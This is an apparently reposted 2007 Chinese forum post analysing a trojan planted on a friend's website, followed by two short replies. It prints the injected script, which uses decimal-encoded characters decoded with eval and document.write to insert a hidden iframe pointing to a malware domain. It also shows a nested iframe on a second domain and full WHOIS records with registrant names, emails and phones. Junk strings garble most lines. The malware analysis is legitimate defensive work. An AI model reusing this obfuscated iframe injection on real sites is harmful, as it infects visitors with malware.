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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, 50e vWD  
.4J7 ^l  
http://www.areway.cn/?p=175 ujWC!*W(Q  
oD3]2o/  
9\Md.>  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: 1\aV4T  
          K BlJJH`z{  
<script>t=’60,105,102,114,97,109,101, /$d #9Uv  
32,115,114,99,61,104,116,116,112,58,47,47, Y )68  
102,114,101,101,46,117,45,117,117,117,46,99, )YVs=0j  
110,47,101,114,114,111,114,46,104,116,109, $sFqMy  
32,119,105,100,116,104,61,49,48,48,32,104, #AH gY.  
101,105,103,104,116,61,48,62,60,47,105,102, l0r^LK$  
114,97,109,101,62′; p`Ok(C_  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> r ?<?0j  
                                                                                                  .U#oN_D  
<script>t=’60,105,102,114,97,109,101,32,115, P>EG;u@.  
114,99,61,104,116,116,112,58,47,47,102,114, cwE?+vB  
101,101,46,117,45,117,117,117,46,99,110,47, [(; .D  
101,114,114,111,114,46,104,116,109,32,119, ]E|E4K6g  
105,100,116,104,61,49,48,48,32,104,101,105, q*!Vyk  
103,104,116,61,48,62,60,47,105,102,114,97, I6i qC"BK  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); q{}U5(,{0  
document.write(t);</script> ?aQVaw&L!7  
                                                                                                  rRX F@  
<html xmlns=” -amNz.`[PR  
http://www.w3.org/1999/xhtml *JOp)e0b  
“> )}J}d)  
<head> TB_OFbI2  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> =, 64Qbau  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> pmiC|F83!8  
<title>首页 - 爱生活家庭网 <u  ImZC  
                                                                                                                                                    ZEB,Q~  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 &8dj*!4H  
转换字符串后的大概内容是(谁点击后果自付): 62o nMY  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… [5PQrf~Mo  
                                                                                                                                  F8J\#PW  
查询玉米u-uuu.cn的详细信息: [+!~RV_  
Domain Name: u-uuu.cn !jg< S>S5  
ROID: 20070901s10001s64972306-cn f3*SIKi  
Domain Status: ok 8CUl |I ~  
Registrant Organization: 王雷 MSb0J`  
Registrant Name: 王雷 je74As[  
Administrative Email: czlovexs@126.com n){u!z)Al  
Sponsoring Registrar: 北京万网志成科技有限公司  GG(}#Z5h  
Name Server:ns.yovole.com b?-KC\}v  
Name Server:ns1.yovole.com NftR2  
Registration Date: 2007-09-01 17:54 %~\I*v04  
Expiration Date: 2008-09-01 17:54 -+0!Fkt@,  
最后PING了一下地址 都没有什么…. &23{(]eO  
                                                                                                }}LjEOvL=  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. &r!jjT  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> ] V,#>'  
<script language=”javascript” src=” ft$ 'UJ% j  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script @=?#nB&  
> 7WHq'R{@  
这个玉米应该有可能是木马作者的: !]MGIh#u  
foafau.info的详细信息: &S[>*+}{+  
Access to INFO WHOIS information is provided to assist persons in z J V>;  
determining the contents of a domain name registration record in the G)gPL]C0  
Afilias registry database. The data in this record is provided by BSY7un+`:  
Afilias Limited for informational purposes only, and Afilias does not /BrbP7  
guarantee its accuracy.  This service is intended only for query-based ;It1i`!R  
access. You agree that you will use this data only for lawful purposes ahR-^^'$  
and that, under no circumstances will you use this data to: (a) allow, p[%B#(]9,  
enable, or otherwise support the transmission by e-mail, telephone, or ?:7.3{|Aq  
facsimile of mass unsolicited, commercial advertising or solicitations vv D515i  
to entities other than the data recipient’s own existing customers; or q+)s  
(b) enable high volume, automated, electronic processes that send ]x@36Ok)A  
queries or data to the systems of Registry Operator, a Registrar, or #U6~U6@  
Afilias except as reasonably necessary to register domain names or ,o\~d ?4  
modify existing registrations. All rights reserved. Afilias reserves B7n1'?  
the right to modify these terms at any time. By submitting this query, 7G%^8 ce{!  
you agree to abide by this policy. v"sN K  
Domain ID:D22418703-LRMS #&Zj6en}M]  
Domain Name:FOAFAU.INFO Gdr7d  
Created On:20-Nov-2007 16:05:42 UTC !Xzy:  
Last Updated On:20-Nov-2007 16:05:44 UTC `L"l{^cH  
Expiration Date:20-Nov-2008 16:05:42 UTC {qFAX<{D  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) .WS7gTw  
Status:CLIENT DELETE PROHIBITED 7Pr5`#x#  
Status:CLIENT RENEW PROHIBITED .c@,$z2M  
Status:CLIENT TRANSFER PROHIBITED T*#<p;  
Status:CLIENT UPDATE PROHIBITED QKh vP>  
Status:TRANSFER PROHIBITED tj:>o#D  
Registrant ID:GODA-040110615 O*1la/~m  
Registrant Name:liu hong u:>*~$f   
Registrant Organization: ?ehUGvV2  
Registrant Street1:beijing (y?`|=G-xT  
Registrant Street2: y<)q;fI7  
Registrant Street3: \P9HAz'6  
Registrant City:beijing b\+9#)Up@  
Registrant State/Province: 41o ~5:&  
Registrant Postal Code:100000  KRh?{  
Registrant Country:CN rlkg.e6  
Registrant Phone:+86.860108888777 = $6pL  
Registrant Phone Ext.: +|Mi lwr  
Registrant FAX: ^%x7:  
Registrant FAX Ext.: 7.B]B,]  
Registrant Email:bbbshiji@163.com Cce{aY  
Admin ID:GODA-240110615 74a>}+"  
Admin Name:liu hong [4HOWM>\  
Admin Organization: y73@t$|  
Admin Street1:beijing HNV"'p;  
Admin Street2: Cc` )P>L  
Admin Street3: Q46sPMH+_  
Admin City:beijing M9wj };vy  
Admin State/Province: UzUt=s!^H  
Admin Postal Code:100000 X-5&c$hv  
Admin Country:CN 6M@m`c  
Admin Phone:+86.860108888777 WQ1*)h8,9  
Admin Phone Ext.: ^/jALA9!  
Admin FAX: } "AGX  
Admin FAX Ext.: E" b" VB  
Admin Email:bbbshiji@163.com vU, ]UJ}  
Billing ID:GODA-340110615 } mEsb?  
Billing Name:liu hong G `JXi/#`  
Billing Organization: 2_;3B4GDF  
Billing Street1:beijing .8Gmy07  
Billing Street2: /qO?)p3gk  
Billing Street3: EXT_x q  
Billing City:beijing +#g?rCz  
Billing State/Province: &;oWmmvz{  
Billing Postal Code:100000 [X=Ot#?u ~  
Billing Country:CN {1]Of'x'  
Billing Phone:+86.860108888777 ZTP&*+d  
Billing Phone Ext.: 8(0q,7)y  
Billing FAX: A[X~:p.^G  
Billing FAX Ext.: Qrt> vOUE7  
Billing Email:bbbshiji@163.com wvNddu>@  
Tech ID:GODA-140110615 GA@Zfcg  
Tech Name:liu hong O$ ;:5zT  
Tech Organization: +vCW${U  
Tech Street1:beijing [&p^h  
Tech Street2: %-~T;_.  
Tech Street3: ){XG%nC  
Tech City:beijing $,B@yiie  
Tech State/Province: UZqk2D  
Tech Postal Code:100000 V7i1BR8G  
Tech Country:CN |.[4$C  
Tech Phone:+86.860108888777 #[ hJm'G  
Tech Phone Ext.: 0Xw3h^%  
Tech FAX: $5a%hK  
Tech FAX Ext.: b7? 2Pu  
Tech Email:bbbshiji@163.com [lX3":)  
Name Server:NS27.DOMAINCONTROL.COM -( +/u .  
Name Server:NS28.DOMAINCONTROL.COM @~`2L o/  
Name Server: QyX ?  
Name Server: Kly`V]XE  
Name Server: &d^u$Y5  
Name Server: \i$WXW]|  
Name Server: \!,@pe_  
Name Server: aqAWaO  
Name Server: 8k`rj;  
Name Server: N>4uqFo  
Name Server: vd'd@T  
Name Server: e6WKZ~ v o  
Name Server: 6v}WdK  
                                                                                                          . ;q 4<_  
接着下载每个文件里面的代码: :]oRx  
一步一步看.. @q]{s+#Xf  
T'nQj<dBt:  
GS4 HYF  
ce\ F~8y  
\Q<Ur&J]%  
`CQMvX{  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
也别说我幼稚,竟想用不长的人生去诠释繁杂的红尘。
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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